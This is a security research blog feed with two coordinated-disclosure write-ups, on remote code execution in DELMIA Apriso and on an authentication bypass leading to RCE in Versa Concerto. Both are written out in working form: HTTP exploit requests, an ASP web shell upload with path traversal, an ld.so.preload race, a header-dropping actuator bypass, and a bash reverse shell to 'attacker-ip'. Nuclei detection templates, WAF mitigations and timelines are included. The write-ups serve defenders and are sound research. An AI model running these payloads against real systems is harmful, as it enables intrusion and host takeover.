Jekyll2026-04-23T18:07:07+00:00https://httpvoid.com/feed.xmlHTTPVoid ResearchHTTPVoid is an application-security research team led by Rahul Maini and Harsh Jaiswal. Writeups cover our own CVEs alongside deep dives where we reverse and weaponise public n-days from advisories or patch diffs.Remote Code Execution in DELMIA Apriso2025-09-23T00:00:00+00:002025-09-23T00:00:00+00:00https://httpvoid.com/Remote-Code-Execution-in-DELMIA-Apriso<![CDATA[

Note - This is cross post from our work at Projectdiscovery Blog

Introduction

DELMIA Apriso is a manufacturing execution and operations orchestration platform used by large manufacturers, service providers, and critical infrastructure operators. Because the product exposes multiple integration points (SOAP, file uploads, provisioning feeds) that are often reachable from internal networks, we performed a focused black-box assessment to surface integration and surface-area weaknesses.

Our testing uncovered two chained, high-impact issues: an unauthenticated SOAP provisioning endpoint that can create accounts with elevated roles, and an upload handler that fails to canonicalize filenames, allowing authenticated users to drop executable files into a web-served directory. Together these lead to full application compromise and were assigned CVE-2025-6204 and CVE-2025-6205.

During the same engagement we also discovered unauthenticated deserialization flaws in other components. We reported those deserialization issues to Apple’s bug bounty program at the time (we did not submit them directly to the vendor), and later independent research by Synacktiv documented the very same vulnerabilities across Apriso versions corroborating that these classes of flaws recurred in the product family.

Background and scope

We tested an on-prem installation of DELMIA Apriso’s application stack. The product exposes a SOAP-based message processor endpoint that accepts XML payloads for bulk employee/identity provisioning. Separately, the product exposes a file upload API used by portal components but that is accessible only post-authentication. Under normal operation these features are intended to be restricted to trusted integrations and administrators. During testing we discovered that:

  • CVE-2025-6205: The SOAP message processor can be driven by unauthenticated requests to create arbitrary employee accounts and assign them a privileged role (“Production User”).
  • CVE-2025-6204: The portal file upload mechanism fails to properly sanitize and normalize filenames, allowing path traversal sequences in the filename parameter. Authenticated attackers can therefore write executable files into the server’s web root.

Both findings chain together: the unauthenticated account creation gives an attacker credentials, and those credentials are then used to authenticate and abuse the file upload to drop a web shell.

CVE-2025-6205: Unauthenticated arbitrary user creation

A SOAP action implemented at /Apriso/MessageProcessor/FlexNetMessageProcessor.svc accepts a ProcessMessageASync_v2 operation carrying an XML document that conforms to a FlexNet_Employees schema. The XML structure includes fields for login name, password, employee metadata and, crucially, employee roles. We sent a crafted XML payload (embedded in the SOAP body) that included a new employee element with a login and password of our choosing and assigned the Production User role.

The endpoint processed the payload without requiring any authentication or message-signing, and created the account in the system. The ability to create an account with a role that grants elevated privileges turns an external attacker into an authenticated, powerful principal with the ability to perform actions intended only for administrators or trusted integrations.

Vulnerable HTTP Request:

POST /Apriso/MessageProcessor/FlexNetMessageProcessor.svc HTTP/1.1
Content-type: text/xml;charset=utf-8
Host: 
Soapaction: "http://tempuri.org/IFlexNetMessageProcessor/ProcessMessageASync_v2"

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tem="http://tempuri.org/">
    <soapenv:Header/>
    <soapenv:Body>
        <tem:ProcessMessageASync_v2>
            <tem:xmlMessage>&lt;&#70;&#108;&#101;&#120;&#78;&#101;&#116;&#95;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#115;&#32;&#120;&#109;&#108;&#110;&#115;&#58;&#120;&#115;&#105;&#61;&quot;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#119;&#51;&#46;&#111;&#114;&#103;&#47;&#50;&#48;&#48;&#49;&#47;&#88;&#77;&#76;&#83;&#99;&#104;&#101;&#109;&#97;&#45;&#105;&#110;&#115;&#116;&#97;&#110;&#99;&#101;&quot;&#32;&#120;&#115;&#105;&#58;&#110;&#111;&#78;&#97;&#109;&#101;&#115;&#112;&#97;&#99;&#101;&#83;&#99;&#104;&#101;&#109;&#97;&#76;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;&quot;&#83;&#58;&#47;&#83;&#99;&#104;&#101;&#109;&#97;&#82;&#101;&#112;&#111;&#115;&#105;&#116;&#111;&#114;&#121;&#47;&#88;&#77;&#76;&#83;&#99;&#104;&#101;&#109;&#97;&#115;&#47;&#70;&#108;&#101;&#120;&#78;&#101;&#116;&#47;&#70;&#108;&#101;&#120;&#78;&#101;&#116;&#95;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#115;&#46;&#120;&#115;&#100;&quot;&#32;&#86;&#101;&#114;&#115;&#105;&#111;&#110;&#61;&quot;&#49;&#46;&#48;&quot;&gt;&#13;&#10;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#71;&#105;&#118;&#101;&#110;&#78;&#97;&#109;&#101;&gt;&#70;&#73;&#82;&#83;&#84;&lt;&#47;&#71;&#105;&#118;&#101;&#110;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#70;&#97;&#109;&#105;&#108;&#121;&#78;&#97;&#109;&#101;&gt;&#76;&#65;&#83;&#84;&lt;&#47;&#70;&#97;&#109;&#105;&#108;&#121;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#78;&#111;&gt;&#48;&#56;&#50;&#54;&#50;&#48;&#48;&#52;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#78;&#111;&gt;&#13;&#10;&#9;&#9;&lt;&#76;&#111;&#103;&#105;&#110;&#78;&#97;&#109;&#101;&gt;&#76;&#65;&#83;&#84;&lt;&#47;&#76;&#111;&#103;&#105;&#110;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#80;&#97;&#115;&#115;&#119;&#111;&#114;&#100;&gt;&#57;&lt;&#47;&#80;&#97;&#115;&#115;&#119;&#111;&#114;&#100;&gt;&#13;&#10;&#9;&#9;&lt;&#72;&#105;&#114;&#101;&#68;&#97;&#116;&#101;&gt;&#50;&#48;&#48;&#48;&#45;&#48;&#54;&#45;&#48;&#49;&#84;&#48;&#48;&#58;&#48;&#48;&#58;&#48;&#48;&lt;&#47;&#72;&#105;&#114;&#101;&#68;&#97;&#116;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#83;&#112;&#111;&#107;&#101;&#110;&#76;&#97;&#110;&#103;&#117;&#97;&#103;&#101;&#73;&#68;&gt;&#49;&#48;&#51;&#51;&lt;&#47;&#83;&#112;&#111;&#107;&#101;&#110;&#76;&#97;&#110;&#103;&#117;&#97;&#103;&#101;&#73;&#68;&gt;&#13;&#10;&#9;&#9;&lt;&#87;&#114;&#105;&#116;&#116;&#101;&#110;&#76;&#97;&#110;&#103;&#117;&#97;&#103;&#101;&#73;&#68;&gt;&#49;&#48;&#51;&#51;&lt;&#47;&#87;&#114;&#105;&#116;&#116;&#101;&#110;&#76;&#97;&#110;&#103;&#117;&#97;&#103;&#101;&#73;&#68;&gt;&#13;&#10;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#86;&#97;&#108;&#105;&#100;&#68;&#97;&#116;&#101;&gt;&#50;&#48;&#48;&#48;&#45;&#48;&#54;&#45;&#48;&#49;&#84;&#48;&#48;&#58;&#48;&#48;&#58;&#48;&#48;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#86;&#97;&#108;&#105;&#100;&#68;&#97;&#116;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#76;&#111;&#103;&#105;&#110;&#69;&#120;&#112;&#105;&#114;&#97;&#116;&#105;&#111;&#110;&#68;&#97;&#116;&#101;&gt;&#57;&#57;&#57;&#57;&#45;&#49;&#50;&#45;&#51;&#49;&#84;&#48;&#48;&#58;&#48;&#48;&#58;&#48;&#48;&lt;&#47;&#76;&#111;&#103;&#105;&#110;&#69;&#120;&#112;&#105;&#114;&#97;&#116;&#105;&#111;&#110;&#68;&#97;&#116;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#84;&#121;&#112;&#101;&gt;&#48;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#84;&#121;&#112;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#68;&#101;&#102;&#97;&#117;&#108;&#116;&#70;&#97;&#99;&#105;&#108;&#105;&#116;&#121;&gt;&#67;&#49;&#80;&#49;&lt;&#47;&#68;&#101;&#102;&#97;&#117;&#108;&#116;&#70;&#97;&#99;&#105;&#108;&#105;&#116;&#121;&gt;&#13;&#10;&#9;&#9;&lt;&#84;&#114;&#97;&#99;&#107;&#76;&#97;&#98;&#111;&#114;&#70;&#108;&#97;&#103;&gt;&#116;&#114;&#117;&#101;&lt;&#47;&#84;&#114;&#97;&#99;&#107;&#76;&#97;&#98;&#111;&#114;&#70;&#108;&#97;&#103;&gt;&#13;&#10;&#9;&#9;&lt;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#73;&#68;&#32;&#78;&#111;&#100;&#101;&#84;&#121;&#112;&#101;&#61;&quot;&#70;&#105;&#101;&#108;&#100;&quot;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#95;&#73;&#110;&#115;&#101;&#114;&#116;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#78;&#97;&#109;&#101;&gt;&#70;&#73;&#82;&#83;&#84;&lt;&#47;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#78;&#97;&#109;&#101;&gt;&#70;&#73;&#82;&#83;&#84;&lt;&#47;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#84;&#121;&#112;&#101;&gt;&#49;&lt;&#47;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#84;&#121;&#112;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#70;&#85;&#73;&#68;&#32;&#78;&#111;&#100;&#101;&#84;&#121;&#112;&#101;&#61;&quot;&#70;&#105;&#101;&#108;&#100;&quot;&#47;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#47;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#95;&#73;&#110;&#115;&#101;&#114;&#116;&gt;&#13;&#10;&#9;&#9;&lt;&#47;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#73;&#68;&gt;&#13;&#10;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#73;&#68;&#32;&#78;&#111;&#100;&#101;&#84;&#121;&#112;&#101;&#61;&quot;&#70;&#105;&#101;&#108;&#100;&quot;&#47;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#82;&#111;&#108;&#101;&#73;&#68;&#32;&#78;&#111;&#100;&#101;&#84;&#121;&#112;&#101;&#61;&quot;&#70;&#105;&#101;&#108;&#100;&quot;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&#9;&lt;&#82;&#111;&#108;&#101;&gt;&#80;&#114;&#111;&#100;&#117;&#99;&#116;&#105;&#111;&#110;&#32;&#85;&#115;&#101;&#114;&lt;&#47;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#47;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#47;&#82;&#111;&#108;&#101;&#73;&#68;&gt;&#13;&#10;&#9;&#9;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&gt;&#13;&#10;&lt;&#47;&#70;&#108;&#101;&#120;&#78;&#101;&#116;&#95;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#115;&gt;</tem:xmlMessage>
            <tem:applicationName>myExternalApplication</tem:applicationName>
        </tem:ProcessMessageASync_v2>
    </soapenv:Body>
</soapenv:Envelope>

The HTML encoded XML payload is nothing but the following XML content:

<FlexNet_Employees xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:noNamespaceSchemaLocation="S:/SchemaRepository/XMLSchemas/FlexNet/FlexNet_Employees.xsd"
    Version="1.0">
    <Employee>
        <GivenName>FIRST</GivenName>
        <FamilyName>LAST</FamilyName>
        <EmployeeNo>08262004</EmployeeNo>
        <LoginName>LAST</LoginName>
        <Password>9</Password>
        <HireDate>2000-06-01T00:00:00</HireDate>
        <SpokenLanguageID>1033</SpokenLanguageID>
        <WrittenLanguageID>1033</WrittenLanguageID>
        <EmployeeValidDate>2000-06-01T00:00:00</EmployeeValidDate>
        <LoginExpirationDate>9999-12-31T00:00:00</LoginExpirationDate>
        <EmployeeType>0</EmployeeType>
        <DefaultFacility>C1P1</DefaultFacility>
        <TrackLaborFlag>true</TrackLaborFlag>
        <ResourceID NodeType="Field">
            <Resource_Insert>
                <Name>FIRST</Name>
                <ResourceName>FIRST</ResourceName>
                <ResourceType>1</ResourceType>
                <FUID NodeType="Field" />
            </Resource_Insert>
        </ResourceID>
        <EmployeeRole>
            <EmployeeID NodeType="Field" />
            <RoleID NodeType="Field">
                <Role>
                    <Role>Production User</Role>
                </Role>
            </RoleID>
        </EmployeeRole>
    </Employee>
</FlexNet_Employees>

An attacker can send the above crafted SOAP request to create a new user with arbitrary credentials (e.g., username: LAST, **password: 9 **in this case) without authentication. The XML payload allows setting user details and assigning the “Production User” role, which may grant elevated privileges.

Nuclei Template to Scan CVE-2025-6205

CVE-2025-6204: Remote Code Execution via Authenticated File Upload

After authenticating with an account created via the SOAP endpoint, we exercised the application’s file upload API. The upload handler accepts a filename parameter but does not correctly normalize it. By including path traversal sequences in the filename we were able to have the server persist the uploaded data into a directory that is subsequently served by the webserver, thereby allowing execution of server-side code uploaded by the attacker.

Send a crafted request to upload a web shell with authenticated cookies using the first bug:

POST /Apriso/webservices/1.1/operation.svc/UploadFile?filename=375c9638-1a4e-465d-90d7-f69321315acb-xxx\..\..\..\portal\uploads\webshell.asp HTTP/1.1
Host: 
Cookie: [Redacted... Authenticate session ...Redacted]
Content-Type: application/x-www-form-urlencoded

<%
  Response.Write "" & "<br>"

  Set rs = CreateObject("WScript.Shell")
  Set cmd = rs.Exec("cmd /c whoami")
  o = cmd.StdOut.Readall()
  Response.write(o)

  Set fso = Server.CreateObject("Scripting.FileSystemObject")
  fso.DeleteFile Server.MapPath(Request.ServerVariables("SCRIPT_NAME")), True
  Set fso = Nothing
%>

Access the web shell at /apriso/portal/uploads/webshell.asp in the same authenticated session, to make it safe for testing, uploaded webshell gets auto delete upon access.

Nuclei Template to Scan CVE-2025-6204

Conclusion

In conclusion, our black-box assessment of DELMIA Apriso revealed a chain of critical issues - an unauthenticated provisioning endpoint that allows account creation with elevated roles and an authenticated file-upload path-traversal that leads to remote code execution. Together these flaws create a low-effort, high-impact path to full application compromise and lateral movement, placing organizations that rely on Apriso at substantial risk if left unmitigated.

We strongly encourage DELMIA Apriso operators to immediately apply vendor patches. We also recommend checking newly created privileged accounts and scanning upload directories for unexpected web shells or similar executables.

To help defenders quickly identify affected systems, we published two Nuclei templates for these issues to the ProjectDiscovery Cloud platform; you can use it to scan your infrastructure for susceptible Apriso instances. ProjectDiscovery also offers free monthly scans to help organizations detect emerging threats and a 30-day trial for business email addresses to run broader coverage - useful complements while you roll out fixes and compensating controls.

Disclosure timeline

Date Event
2025-05-14 Issues reported to 3DS Security.
2025-05-14 Acknowledgement received from vendor.
2025-05-15 Vendor requested additional configuration and version details.
   
2025-05-16 Additional details provided to the vendor
2025-08-06 Two CVEs assigned and published (CVE-2025-6204, CVE-2025-6205).

By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.

]]><![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]>Authentication Bypass to RCE in Versa Concerto2025-05-21T00:00:00+00:002025-05-21T00:00:00+00:00https://httpvoid.com/Authentication-Bypass-to-RCE-in-Versa-Concerto<![CDATA[

Note - This is cross post from our work at Projectdiscovery Blog

Introduction

Versa Concerto is a widely used network security and SD-WAN orchestration platform, designed to provide seamless policy management, analytics, and automation for enterprises. With a growing customer base that includes large enterprises, service providers, and government entities, the security of this platform is critical. Given its extensive adoption and potential exposure to external threats, we initiated research to assess its security posture and uncover possible vulnerabilities.

Our research led to the discovery of multiple critical security flaws in Versa Concerto’s deployment. In this blog, we explore multiple vulnerabilities discovered in Versa Concerto, a Spring Boot-based application deployed via Docker containers and routed through Traefik.

  • Authentication bypass through URL decoding inconsistencies.
  • Arbitrary file write vulnerabilities leading to remote code execution (RCE).
  • Exploitation of a vulnerable Traefik version to bypass security restrictions and access Spring Boot Actuator endpoints.
  • Docker container escape by leveraging misconfigured volume mappings to overwrite system binaries.

These vulnerabilities, when chained together, could allow an attacker to fully compromise both the application and the underlying host system. This research highlights how small misconfigurations in modern cloud-based deployments can escalate into severe security risks, particularly for platforms handling sensitive network configurations and enterprise data.

Inconsistency in URL processing to auth bypass

Versa Concerto is deployed using multiple Docker containers, with the key ones being:

  • core-service
  • web-service
  • traefik

To understand the appliance’s routing, we start by analyzing the Traefik container. The Traefik container listens on ports 80/443, serving as the entry point for client requests. Based on location configurations, incoming requests are routed to either core-service or web-service. Both of these containers deploys Spring Boot embedded applications. We decompiled their code to audit their authentication mechanisms.

Our primary focus was the AuthenticationFilter class, which is typically responsible for handling authentication in Spring applications. Upon reviewing the decompiled code, we observed that certain paths were explicitly excluded from authentication:

String clienturi = URIUtil.getNormalizeURI(request);
...

if (clienturi.contains("/actuator") || clienturi.endsWith("/v1/ping") ...) {
    skipAuth = true;
}

...

However, we noticed an inconsistency between the authentication check and the actual URL being processed.

public static String getNormalizeURI(HttpServletRequest request) {
    String uri = request.getRequestURI();
    return removeExtraSlash(URLDecoder.decode(URI.create(uri).normalize().toString(), StandardCharsets.UTF_8));
}
  • During the authentication check, the REQUEST_URI undergoes URL decoding.
  • However, the URL is processed without decoding to the controllers.
  • This introduces a Time-of-Check to Time-of-Use (TOCTOU) issue, leading to an authentication bypass.

Bypassing authentication is possible using a request URL like - /portalapi/v1/users/username/admin;%2fv1%2fping

Finding endpoint without authorization checks

After discovering the authentication bypass, we analyzed the authorization mechanisms across the services. Most endpoints enforced strict authorization checks by validating the user’s assigned role. As a result, we were unable to access the majority of critical endpoints within the core-service. Only a handful of endpoints were exposed without authorization checks, but they did not provide a viable path for privilege escalation.

Shifting our focus to the web-service, we identified an endpoint related to package uploads /portalapi/v1/package/spack/upload that appeared to be vulnerable to arbitrary file writes. The logic within this endpoint suggested that we could write files to an arbitrary location on the system, making it a promising vector for further exploitation.

@PostMapping(value = {"spack/upload"}, produces = {"application/json"}, consumes = {"multipart/form-data"})
@ResponseBody
@ResponseStatus(HttpStatus.ACCEPTED)
public ResponseEntity<?> upload(HttpServletRequest httpRequest, HttpServletResponse httpResponse, @RequestParam(name = "spackFile", required = true) MultipartFile spackFile, @RequestParam(name = "spackChecksumFile", required = true) MultipartFile spackChecksumFile, @RequestParam(value = "updatetype", defaultValue = "full") String updateType, @RequestParam(value = "flavour", defaultValue = "premium") String flavour) throws Exception {
    String spackFilePath = "/var/versa/ecp/share/files/" + spackFile.getOriginalFilename();
    String spackSigFilePath = "/var/versa/ecp/share/files/" + spackChecksumFile.getOriginalFilename();
    try {
        copyPackage(spackFile, spackFilePath); [1]
        copyPackage(spackChecksumFile, spackSigFilePath); [2]
        String bearerToken = UserContextHolder.getContext().getUserAccessTken(); [3]
        if (bearerToken != null) {
           ...
        }
        Status status = new Status();
        status.setStatus("Bearer Token empty");
        return new ResponseEntity<>(status, HttpStatus.INTERNAL_SERVER_ERROR);
    } catch (Exception e) {
        Files.deleteIfExists(Paths.get(spackFilePath, new String[0])); [4]
        Files.deleteIfExists(Paths.get(spackSigFilePath, new String[0])); [5]
        logger.error("Error while uploading Spack", (Throwable) e);
        return handleException(e, httpRequest);
    }
}

private synchronized void copyPackage(MultipartFile uploadFile, String filePath) throws Exception {
    Files.deleteIfExists(Paths.get(filePath, new String[0]));
    InputStream inputStream = uploadFile.getInputStream();
    try {
        Files.copy(inputStream, Paths.get(filePath, new String[0]), new CopyOption[0]);
        if (inputStream != null) {
            inputStream.close();
        }
    } catch (Throwable th) {
        if (inputStream != null) {
            try {
                inputStream.close();
            } catch (Throwable th2) {
                th.addSuppressed(th2);
            }
        }
        throw th;
    }
}

Despite the apparent vulnerability, there was a significant obstacle. While the file was successfully written to disk at [1] and [2], it was immediately deleted inside a try/catch block at [4] an [5]. If any exception occurred during execution, the application would trigger a cleanup process that removed the uploaded file. Specifically, right after writing the file at [1] and [2], the code tried to retrieve the access token from current user context at [3]. This check resulted in a null pointer exception, which in turn caused the deletion of our written file at [4] and [5].

Even though the file was being deleted almost instantly, there’s a brief window of time in which an arbitrary file write was possible. This introduced the possibility of a race condition, which could potentially be exploited to use the written file to cause remote code execution.

Race Condition / Remote Code Execution

Initially, we considered exploiting the vulnerability by writing a web shell to the web root. However, since this was a Spring Boot embedded application, it did not follow the traditional file-serving structure, meaning we couldn’t simply drop a shell and execute it as we would in a typical web application.

After ruling out this approach, we explored the possibility of leveraging cron jobs for execution. However, upon further investigation, we discovered that the web-service container did not have cron set up, eliminating this option as well. This forced us to rethink our strategy and look for alternative execution methods.

We then utilized an LD_PRELOAD trick to achieve remote code execution. Our approach involved overwriting ../../../../../../etc/ld.so.preload with a path pointing to /tmp/hook.so. Simultaneously, we uploaded /tmp/hook.so, which contained a compiled C binary for a reverse shell. Since our request triggered two file write operations, we leveraged this to ensure that both files were written within the same request.

Once these files were successfully written, any command execution on the system while both persisted would result in the execution of /tmp/hook.so, thereby giving us a reverse shell. While looking for a suitable trigger, we observed that a curl command was being executed every 10 seconds within the web-service container to check the container’s health status.

Knowing this, we continuously sent requests to write both ../../../../../../etc/ld.so.preload and /tmp/hook.so in a way that created a race condition. Our goal was to ensure that at the exact moment the health check executed, both files would be present on the system. Once all three conditions aligned—the presence of ld.so.preload, the malicious shared object, and a triggered system command—we successfully achieved remote code execution (RCE).

Your browser does not support the video tag.

Actuator endpoint authentication bypass to Admin

While analyzing the authentication filter, we noticed that access control for certain endpoints, including the Spring Boot Actuator endpoints, relied on the presence of the X-Real-Ip header. Specifically, if this header was set, the application performed an additional check to determine whether access should be granted.

String clientReapIp = request.getHeader("X-Real-Ip");
...

if (StringUtils.isNotBlank(clientReapIp)) {
    if (clinturi.toLowerCase().contains("/actuator")) {
        this.springBootAuditUtil.extractAuditInfo(request);
        logger.warn("Blocked external access to actuator uri={} from source ip={}", clinturi, clientReapIp);
        audit.setReadableText("Blocked access to /actuator for external source IP=" + clientReapIp);
        audit.setObjectType("Actuator");
        audit.setTenantName(GraphConstant.DEFAULT_TENANT);
        response.setStatus(HttpStatus.FORBIDDEN.value());
        response.getWriter().write("{ \"message\": \"Access denied to /actuator.\"}");
        audit.setStatus(HttpStatus.FORBIDDEN.toString());
        return;
    }
...

This logic ensures that if an external request contains X-Real-Ip, and the request URI contains /actuator, access is explicitly denied.

As previously mentioned, client requests are initially sent to the Traefik reverse proxy, which then forwards them to the Spring Boot applications running on Tomcat. Traefik automatically sets the X-Real-Ip header when forwarding requests, meaning that external requests are always flagged as originating from an external source.

However, we identified a hop-by-hop header handling vulnerability in the version of Traefik in use. This issue, documented in Traefik Security Advisory GHSA-62c8-mh53-4cqv, allows an attacker to drop specific headers that would otherwise be added by Traefik.

By leveraging this issue, we can drop the X-Real-Ip header from the forwarded request. Without this header, the access control logic is never triggered, and we can access restricted actuator endpoints.

GET /actuator HTTP/1.1
Host: <Host>
Connection: X-Real-IP

By setting Connection: X-Real-IP, we instruct Traefik to drop the X-Real-Ip header before forwarding the request to the backend. Since the authentication logic depends on this header’s presence, the request bypasses the security check, granting us direct access to the /actuator endpoints.

This allows to get plain text credentials via downloading heap-dump or/else directly access logs via /portalapi/actuator/traces that would directly disclose logged user session tokens and login into appliance as admin. Once you become an admin, there are various routes available to get Remote Code Execution such as by uploading a security package.

Web-service docker container escape

We also observed a critical misconfiguration that allowed us to escape from web-service docker container and gain execution on the host machine.

On Ubuntu systems, a default cron job exists under /etc/cron.d/popularity-contest, designed to gather usage statistics on installed Debian packages. This cron job executes every hour on the host machine, running a shell script that makes use of commands such as test, touch, and cd.

Ordinarily, this wouldn’t pose a security risk. However, in this case, we discovered that the core-service docker container had /usr/bin/ and /bin/ directories directly mapped to the host’s filesystem. This meant that any changes made to binaries within the container would also apply to the host system.

With root access inside the container, we leveraged this misconfiguration to overwrite one of the frequently used binaries (test) with a malicious shell script. This ensured that when the popularity-contest cron job executed on the host, our payload would be triggered.

With full control over the mapped system binaries, we replaced /usr/bin/test with a script that initiated a reverse shell:

#!/bin/bash
bash -i >& /dev/tcp/attacker-ip/4444 0>&1

Make the script executable and wait for the hourly cron job to execute. As expected, when the cron job ran, it called our malicious test binary, granting us a reverse shell on the Concerto host system.

Nuclei templates

Versa Concerto API Auth Bypass:

id: CVE-2025-34027

info:
  name: Versa Concerto API Path Based - Authentication Bypass
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.
  reference:
    - https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/
    - https://versa-networks.com/documents/datasheets/versa-concerto.pdf
    - https://www.cve.org/CVERecord?id=CVE-2025-34027
    - https://security-portal.versa-networks.com/emailbulletins/6830fa3f28defa375486ff2f
  classification:
    epss-score: 0.04812
    epss-percentile: 0.89005
    cpe: cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: versa-networks
    product: concerto
    max-request: 1
    shodan-query: http.favicon.hash:-534530225
  tags: cve,cve2025,versa,concerto,auth-bypass,vkev,vuln

http:
  - raw:
      - |
        GET /portalapi/v1/roles/option;%2fv1%2fping HTTP/1.1
        Host: 

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ENTERPRISE_ADMINISTRATOR

      - type: word
        part: header
        words:
          - EECP-CSRF-TOKEN
# digest: 4a0a00473045022100874e1d825ccf8febc4e0a2b959b9f4d9cca806155d2a8ccfaf8e9d04d4f0a5f602203c68736e72da44753646cd9389ac072b532fc31984d7b29840f51578ee70ae20:922c64590222798bb761d5b6d8e72950

Versa Concerto Actuator Auth Bypass:

id: CVE-2025-34026

info:
  name: Versa Concerto Actuator Endpoint - Authentication Bypass
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.
  reference:
    - https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/
    - https://security-portal.versa-networks.com/emailbulletins/6830f94328defa375486ff2e
    - https://www.cve.org/CVERecord?id=CVE-2025-34026
  classification:
    epss-score: 0.09939
    epss-percentile: 0.92715
    cpe: cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: versa-networks
    product: concerto
    max-request: 1
    shodan-query: http.favicon.hash:-534530225
  tags: versa,concerto,actuator,auth-bypass,springboot,cve,cve2025,vkev,vuln

http:
  - raw:
      - |
        GET /portalapi/actuator HTTP/1.1
        Host: 
        Connection: X-Real-Ip

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - heapdump

      - type: word
        part: header
        words:
          - EECP-CSRF-TOKEN
# digest: 4b0a00483046022100ad944aab44a5b722fc1a096bd6db3e2cb077d34cf51a4ee93ea5c16115d7aa0f022100f95a74bd04c8528995d9820d73655ba6f7202b4f019056888bd1adc97ddbf409:922c64590222798bb761d5b6d8e72950

Mitigation

Organizations can implement temporary remediation measures at the reverse proxy or Web Application Firewall (WAF) levels to mitigate the risk posed by the identified authentication bypass vulnerabilities. Here are two recommended actions:

  1. Block Semicolons in URL Paths: Implement a rule to block any incoming requests that contain a semicolon (;) in the URL path. This measure will help prevent exploitation of the URL decoding inconsistency that allows authentication bypass.
  2. Drop Requests with Specific Connection Headers: Configure your reverse proxy or WAF to drop any requests where the Connection header contains the value X-Real-Ip (case insensitive). This will mitigate the vulnerability that allows unauthorized access to Spring Boot Actuator endpoints by manipulating the X-Real-Ip header.

By applying these temporary measures, organizations can reduce the risk of exploitation. It is crucial to monitor network traffic and logs for any suspicious activity and to keep security teams informed of these interim protections.

Disclosure Timeline

We disclosed multiple vulnerabilities to the Versa Concerto team and maintained communication over a 90-day period. Below is a summary of the disclosure process and patching timeline:

Date Event
Feb 13, 2025 Vulnerabilities reported to the Versa Concerto team with a 90-day disclosure timeline.
Feb 15, 2025 Acknowledgement received; team requested additional info and mentioned eagerness to patch.
Feb 17, 2025 Additional details provided; team stated they would patch all affected releases soon.
Mar 7, 2025 Versa released hot fixes for the reported issues.
  - CVE-2025-34025 Patch
  - CVE-2025-34026 Patch
  - CVE-2025-34027 Patch
